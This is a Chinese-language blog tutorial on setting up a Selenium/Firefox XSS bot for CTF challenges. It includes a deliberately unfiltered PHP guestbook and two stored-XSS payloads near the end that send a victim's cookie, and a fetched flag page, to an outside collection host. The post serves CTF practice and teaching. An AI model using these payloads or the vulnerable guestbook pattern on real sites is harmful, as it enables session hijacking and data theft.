Bubbles~blog

用爱发电

xssbot with firefox

现在的ctf比赛里xss bot慢慢地变得越来越普遍了,所以这两天也想尝试弄一个

bot是干嘛的

简单来说就是代替管理员去完成点击页面的任务,毕竟你自己总不能一直守着页面去等别人提交payload

准备工作

一般我们使用的是selenium模块来完成bot的工作,写爬虫的时候我们也常会用到它,使用它和phantomjs的组合来执行页面的js脚本

selenium是帮助我们来操作webdriver的,一般我们用到的有chrome,firefox和phantomjs的,但是phantomjs并没有很完美的模拟浏览器,所以比较好的选择是前面两个,因为在这我是搭在vps上,没有图形界面,而前面两个都是需要图形界面的,所以我们还需要其他工具的辅助

我的环境是centos6.9,安装的selenium版本是3.6.0,仅供参考

首先安装需要的依赖

yum install wget firefox gcc zlib zlib-devel Xvfb
 
pip install PyVirtualDisplay

PyVirtualDisplay就是我们用来模拟出窗口的

因为chrome对centos6中的支持并不是很好,所以我这里安装的是firefox,那么接下来安装geckodriver

你可以去官网下载

但是要注意不要下最新版本,因为selenium的支持并没有跟上,我尝试了0.15.0都没有成功,最后一口气直接降到了0.11.1,这个坑坑了我老久

另外下载之前主要自己的系统,我是64位的,下载对应的版本

wget https://github.com/mozilla/geckodriver/releases/download/v0.11.1/geckodriver-v0.11.1-linux64.tar.gz
 
tar zxvf geckodriver-v0.11.1-linux64.tar.gz
chmod +x geckodriver

注意这里要添加映射到/bin/目录,对应在windows就是添加环境变量

现在我们可以试试是否有用

from selenium import webdriver
from pyvirtualdisplay import Display
 
display = Display(visible=0, size=(800,600))  
display.start()  
 
browser = webdriver.Firefox()
browser.get('https://www.baidu.com/')
print browser.title
browser.quit()

完成bot

接下来我们完成一个测试的bot,首先构造一个提交的表单,就当做是常见的留言板,当然为了方便我们没做任何过滤,仅为测试用

<html>
<head>
    <meta charset="utf-8">
    <title>xss留言板</title>
<body>
<form method="POST" action="">
<input name="id" type='text'>
<input name="content" type='text'>
<input type='submit' value='你想说的话'>
</form>
 
<?php
$servername="localhost:3306";
$username="xxxx";
$pass="xxxx";
 
$conn=mysql_connect($servername,$username,$pass);
if (!$conn){
    die('Could not connect: ' . mysql_error());
}
mysql_select_db("botest",$conn);
 
if(isset($_POST['content'])){
    $id=mysql_real_escape_string($_POST['id']);
    $content = mysql_real_escape_string($_POST['content']);
    $sql = "INSERT INTO note (id,text) VALUES ('".$id."','".$content."')";
    mysql_query($sql,$conn);
}
 
$sql = "select * from note";
$res = mysql_query($sql,$conn);
echo "<h2>留言板</h2>";
while($row = mysql_fetch_array($res)){
    echo "id:".$row['id']."</p>";
 
    echo "<p>".$row['text']."</p>";
 
    echo "<p>****************************************************************************************<p>";
}
mysql_close($conn);
?>
</body>
</head>

然后我们写好flag,规定只有管理员的cookie才能返回flag

<?php
 
if($_COOKIE['Cookie']=='session_id:zz2333'{
    $flag="ctf{gg_233}";
    echo $flag;
}else{
    echo 'you are not admin';
}
 
?>

接下来就是bot起作用了

import selenium
from selenium import webdriver  
from selenium.common.exceptions import WebDriverException
import time 
from pyvirtualdisplay import Display
 
display = Display(visible=0, size=(800,800))
display.start()
url='http://127.0.0.1/xsstst/bottest.php'
while 1:
    try:
 
        browser = webdriver.Firefox()
        browser.get(url)
        browser.add_cookie({'name':'cookie','value':'session_id:zz2333','path':'/'})
        browser.get(url)
        time.sleep(5)
        browser.quit()
    except Exception as e:
        print (e)
        continue

这里要注意的是添加cookie前需要先打开页面,其实跟浏览器也是一个道理

然后我们去留言板添加xss代码,获取bot的管理员权限

<script>(new Image()).src='http://xss.bubbles966.cn/index.php?cookie='+escape(document.cookie);</script>

成功拿到了cookie,我们可以直接拿着它去获取flag,甚至有些题目直接cookie就是flag,当然,我们其实也可以让bot帮我们完成这一工作

去留言板插入xss

<script>var a=new XMLHttpRequest();a.open('GET','flag.php',false);a.send(null);(new Image()).src ='http://xss.bubbles966.cn/index.php?flag='+escape(a.responseText);</script>

拿到flag